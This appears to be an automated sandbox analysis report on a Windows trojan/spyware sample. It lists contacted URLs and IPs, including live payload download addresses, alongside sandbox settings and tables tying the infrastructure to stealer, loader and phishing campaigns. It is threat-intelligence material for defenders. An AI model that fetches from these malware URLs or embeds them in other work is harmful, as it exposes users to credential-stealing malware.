https://duckduckgo.com/favicon.ico	chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	2h6379.exe, 00000003.00000003.2059829749.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2059814725.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2059894872.0000000001507000.00000004.00000020.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000007.00000003.2345861583.000000E8001C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 0000000A.00000003.2464980214.00005E0002474000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	HDAKFCGIJKJKFHIDHIIIEBGCBF.3.dr	false		high
http://anglebug.com/7556	chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	false		high
https://chromewebstore.google.com/	msedge.exe, 0000000A.00000002.2533955064.00005E000237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.11.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.11.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	false		high
http://185.215.113.16/off/def.exe	2h6379.exe, 2h6379.exe, 00000003.00000003.2251138988.000000000156A000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680339790.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251156197.000000000156E000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680670381.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001569000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.11.dr	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/746f34465cf17784/vcruntime140.dll3dCb	2h6379.exe, 00000003.00000002.2800524427.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
13.91.96.185	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.78	play.google.com	United States	15169	GOOGLEUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.14	plus.l.google.com	United States	15169	GOOGLEUS	false
108.156.211.31	unknown	United States	16509	AMAZON-02US	false
20.189.173.17	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.150	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.198.7.173	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.5.155	founpiuer.store	United States	13335	CLOUDFLARENETUS	false
23.198.7.177	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.221.22.215	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549090
Start date and time:	2024-11-05 10:12:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ByVoN4bhSU.exe renamed because original name is a hash value
Original Sample Name:	27804d55f185edb91ed8ec5c15066fe5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/295@32/25
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 142.250.185.67, 172.217.16.206, 142.250.110.84, 34.104.35.123, 172.217.23.99, 142.250.184.202, 142.250.74.202, 142.250.186.106, 142.250.186.42, 142.250.186.74, 142.250.185.234, 216.58.212.138, 142.250.185.138, 142.250.185.202, 142.250.186.170, 172.217.18.10, 142.250.185.74, 142.250.185.170, 142.250.186.138, 172.217.18.106, 142.250.181.234, 142.250.184.234, 142.250.185.106, 216.58.206.74, 172.217.16.202, 216.58.206.42, 216.58.212.170, 172.217.23.106, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 172.217.18.110, 13.107.6.158, 108.141.37.120, 2.19.126.152, 2.19.126.145, 104.124.11.163, 104.124.11.224, 2.23.209.39, 2.23.209.49, 2.23.209.43, 2.23.209.41, 2.23.209.45, 2.23.209.47, 2.23.209.40, 2.23.209.44, 2.23.209.42, 2.23.209.131, 2.23.209.142, 2.23.209.144, 2.23.209.132, 2.23.209.137, 2.23.209.140, 2.23.209.135, 2.23.209.133, 2.23.209.143, 2.23.209.177, 2.23.209.176, 2.23.209.181, 2.23.209.162, 2.23.209.161, 2.23.209.182, 2.
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-pa
Execution Graph export aborted for target 2h6379.exe, PID 5700 because there are no executed function
Execution Graph export aborted for target 3S96n.exe, PID 8096 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ByVoN4bhSU.exe

Simulations

Behavior and APIs

Time	Type	Description
04:12:57	API Interceptor	558238x Sleep call for process: 2h6379.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	DbMBWMxoNv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
23.218.232.182	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.218.232.182	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	dAbl40hKOa.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	RP3pRLkLSH.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/inc/qg1oppst.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/well/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
founpiuer.store	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	dAbl40hKOa.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.5.155
	RP3pRLkLSH.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC	Browse	172.67.133.135
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	De_posit Confirmati0n_ Mitie.html	Get hash	malicious	Unknown	Browse	18.245.60.69
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XSwDnNeW8yycT&sa=t&esrc=nNeW8FA0xys8Em2FL&source=&cd=tS6T8Tiw9XH&cad=XpPkDfJXVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=am%70%2F%77%77%77%2E%64%65%72%79%61%6E%63%6F%6E%73%75%6C%74%69%6E%67%2E%63%6F%6D%2F%74%31%62%72%6F%77%6E%34%35%2F1112449584/aGVsZW5AY3VyZXBhcmtpbnNvbnMub3JnLnVr	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.89
	https://astonishing-maize-sunstone.glitch.me/	Get hash	malicious	Unknown	Browse	54.72.201.156
	SecuriteInfo.com.Trojan.TR.Crypt.XPACK.Gen.21595.6748.exe	Get hash	malicious	Unknown	Browse	13.32.99.107
	SecuriteInfo.com.Trojan.TR.Crypt.XPACK.Gen.21595.6748.exe	Get hash	malicious	Unknown	Browse	13.32.99.107
	5% discount products.vbs	Get hash	malicious	FormBook	Browse	52.216.63.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	3.111.160.216
	https://workflow365.m-pages.com/Q1KRhV/truluma-insurance-agency	Get hash	malicious	Unknown	Browse	3.66.78.109
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
MICROSOFT-CORP-MSN-AS-BLOCKUS	De_posit Confirmati0n_ Mitie.html	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XSwDnNeW8yycT&sa=t&esrc=nNeW8FA0xys8Em2FL&source=&cd=tS6T8Tiw9XH&cad=XpPkDfJXVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=am%70%2F%77%77%77%2E%64%65%72%79%61%6E%63%6F%6E%73%75%6C%74%69%6E%67%2E%63%6F%6D%2F%74%31%62%72%6F%77%6E%34%35%2F1112449584/aGVsZW5AY3VyZXBhcmtpbnNvbnMub3JnLnVr	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.72
	https://astonishing-maize-sunstone.glitch.me/	Get hash	malicious	Unknown	Browse	13.107.253.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.45
	xYLJko2Gis.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://360merch-my.sharepoint.com/:u:/p/derek_cummins/Ee8aHkzMy41OgT5fOyc3qz4BdRJzT4bTlOlXY3v0Xazn9Q?e=hZ7jfl	Get hash	malicious	Unknown	Browse	52.108.79.26
	https://t.ly/J2Omu	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.60
	https://www.google.lu/url?q=dK5oN8bP2yJ1vL3qF6gT0cR9mW4sH7jD2uY8kX5zM0nW4rT9pB6yG3lF1oJ8qV2kN7dP5uC3xH6tR0jL4wY1vS9mD2bT8nK7yX5rJ3qG0sW6lP9oF2aH1kpQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&esrc=026rlFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bgalapagos%C2%ADhostal%C2%AD%C2%ADtintorera%C2%AD.com%2Fauoth%2Fmeme%2Fnexpoint.com/c2pvaG5zb25AbmV4cG9pbnQuY29t	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
RAYA-ASEG	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.154
	spc.elf	Get hash	malicious	Mirai	Browse	102.188.6.235
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse	23.218.232.185
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.185
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.185
	nullnet_load.ppc.elf	Get hash	malicious	Mirai	Browse	197.133.11.31
	nullnet_load.sh4.elf	Get hash	malicious	Mirai	Browse	197.132.199.93
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	41.70.6.191
	nullnet_load.m68k.elf	Get hash	malicious	Mirai	Browse	41.68.176.212
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	41.69.75.136
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	dAbl40hKOa.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	RP3pRLkLSH.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	National Association of State Procurement Officials.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	De_posit Confirmati0n_ Mitie.html	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XSwDnNeW8yycT&sa=t&esrc=nNeW8FA0xys8Em2FL&source=&cd=tS6T8Tiw9XH&cad=XpPkDfJXVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=am%70%2F%77%77%77%2E%64%65%72%79%61%6E%63%6F%6E%73%75%6C%74%69%6E%67%2E%63%6F%6D%2F%74%31%62%72%6F%77%6E%34%35%2F1112449584/aGVsZW5AY3VyZXBhcmtpbnNvbnMub3JnLnVr	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	https://astonishing-maize-sunstone.glitch.me/	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	SecuriteInfo.com.Trojan.TR.Crypt.XPACK.Gen.21595.6748.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	Mandatory 2FA Authenticator - Immediate Attention Required! October 18 2024 115452(UTC).msg	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	SecuriteInfo.com.Trojan.TR.Crypt.XPACK.Gen.21595.6748.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	xYLJko2Gis.xlsm	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.253.45 184.28.90.27 40.126.32.138
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	dAbl40hKOa.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.5.155
	RP3pRLkLSH.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	xYLJko2Gis.xlsm	Get hash	malicious	Unknown	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	onHJWL68iH.exe	Get hash	malicious	LummaC	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
